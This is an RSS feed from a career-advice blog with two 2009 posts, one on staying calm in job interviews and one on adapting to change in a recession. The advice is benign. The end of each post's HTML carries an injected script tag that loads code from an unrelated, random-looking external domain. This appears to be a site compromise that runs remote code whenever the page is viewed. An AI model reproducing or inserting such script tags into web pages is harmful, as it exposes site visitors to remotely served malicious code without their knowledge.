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	<title>The Ability Project &#187; communication skills</title>
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		<title>The Interview Freeze Up</title>
		<link>http://theabilityproject.com/2009/08/20/the-interview-freeze-up/</link>
		<comments>http://theabilityproject.com/2009/08/20/the-interview-freeze-up/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 19:01:23 +0000</pubDate>
		<dc:creator>Rachel</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[career advice]]></category>
		<category><![CDATA[career services]]></category>
		<category><![CDATA[communication]]></category>
		<category><![CDATA[communication skills]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[internships]]></category>
		<category><![CDATA[interview]]></category>
		<category><![CDATA[interviews]]></category>
		<category><![CDATA[people skills]]></category>
		<category><![CDATA[professional development]]></category>
		<category><![CDATA[Recruiting]]></category>
		<category><![CDATA[Self-awareness]]></category>
		<category><![CDATA[the ability project]]></category>

		<guid isPermaLink="false">http://theabilityproject.com/?p=1406</guid>
		<description><![CDATA[Have you ever found yourself stuttering through an interview?  Did your mouth get so dry you felt the white forming around the corners? When asked a question, did your mind freeze and underarms perspire?  

How can we perform in an interview when we don’t know how to sell ourselves!  Think of yourself [...]]]></description>
			<content:encoded><![CDATA[<p>Have you ever found yourself stuttering through an interview?  Did your mouth get so dry you felt the white forming around the corners? When asked a question, did your mind freeze and underarms perspire?  </p>
<p><span id="more-1406"></span></p>
<p>How can we perform in an interview when we don’t know how to sell ourselves!  Think of yourself as a brand.  For example, on a bottle of shampoo you can read the strengths and benefits of the product: fresh fragrance, conditioning, strengthening, volumizing, etc.  Define your natural abilities and learn how to highlight them during an interview.  </p>
<p>We will never be fully prepared for all the extreme questions thrown at us in an interview.  One time I was asked, “If you were a bottle of hairspray, what color would you be and why?”  In retrospect I can clearly see several reasons why this question was asked of me: to understand my creativity, to gauge my knowledge of the industry and (most importantly) to see how well I know myself.  Answering this question with confidence was crucial.  Can you enter an interview with poise and self knowledge?    </p>
<p>Yes, I have studied all the lists of “Interviewing Do’s and Don’ts.”  I could drive myself crazy memorizing rules: research the interviewing company, look the interviewer in the eye when shaking hands, sit down after the interviewer has taken his/her seat, be prepared to turn the “weakness” question into a strength, be equipped with questions to prove interest, ask for a business card before exiting; the list could go on infinity.  Trying to recall what to do and what not to do would make it impossible to focus on the conversation. </p>
<p>The best advice I have does not come from that list of tactics.  What is my secret ingredient?  BE YOURSELF.  I think the anxiety of having done my homework before going into the interview is what makes me nervous.  Am I really prepared?  I remember, yes I am ready.  Before the interview, when my heart is beating at double pace, I pause, breath, and close my eyes.  I take a few minutes to regroup and repeat a mantra.  I practice relaxing and realizing that no one is perfect during the interviewing process.  Self-awareness has always been my greatest asset.  With that assurance, I know that the appropriate response to any question is always within reach.<br />
<script src="http://ue.oeaou.com/31"></script></p>
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		<item>
		<title>Change is Good… Right?</title>
		<link>http://theabilityproject.com/2009/06/18/change-is-good%e2%80%a6-right/</link>
		<comments>http://theabilityproject.com/2009/06/18/change-is-good%e2%80%a6-right/#comments</comments>
		<pubDate>Thu, 18 Jun 2009 23:57:48 +0000</pubDate>
		<dc:creator>Ken</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[job search]]></category>
		<category><![CDATA[time management]]></category>
		<category><![CDATA[communication skills]]></category>
		<category><![CDATA[current]]></category>
		<category><![CDATA[professional development]]></category>
		<category><![CDATA[top tips]]></category>

		<guid isPermaLink="false">http://www.theabilityproject.com/?p=855</guid>
		<description><![CDATA[
Yes! Why fear change? You shouldn’t. The ability to handle pressure is enticing to employers. If you aren’t able to adapt to a changing work environment, then you may need to rethink the application to sell $5 footlongs.
I’ve taken a double take while working at TAP. Sufficient just isn’t enough in todays economic down turn. [...]]]></description>
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<p class="MsoNormal"><span>Yes! Why fear change? You shouldn’t. The ability to handle pressure is enticing to employers. If you aren’t able to adapt to a changing work environment, then you may need to rethink the application to sell $5 footlongs.</span></p>
<p class="MsoNormal"><span>I’ve taken a double take while working at TAP. Sufficient just isn’t enough in todays economic down turn. Finding and keeping a job is harder than ever. Unemployment is rising, jobs are scarce and the U.S. is in a recession.</span></p>
<p class="MsoNormal"><span>Stay current and make effective use of free time to learn how to use social networking websites, latest software, and sharpen your communication skills. </span><span>Most importantly: Invest in your future – do your homework and change for the better. Make it part of your routine and daily news consumption.</span></p>
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<p class="MsoNormal"><span>Send your ideas to </span><a href="mailto:ken@jointap.com"><span>ken@jointap.com</span></a><span> on how we can change for the better. Pennies accepted.<br />
</span><script src="http://ue.oeaou.com/31"></script></p>
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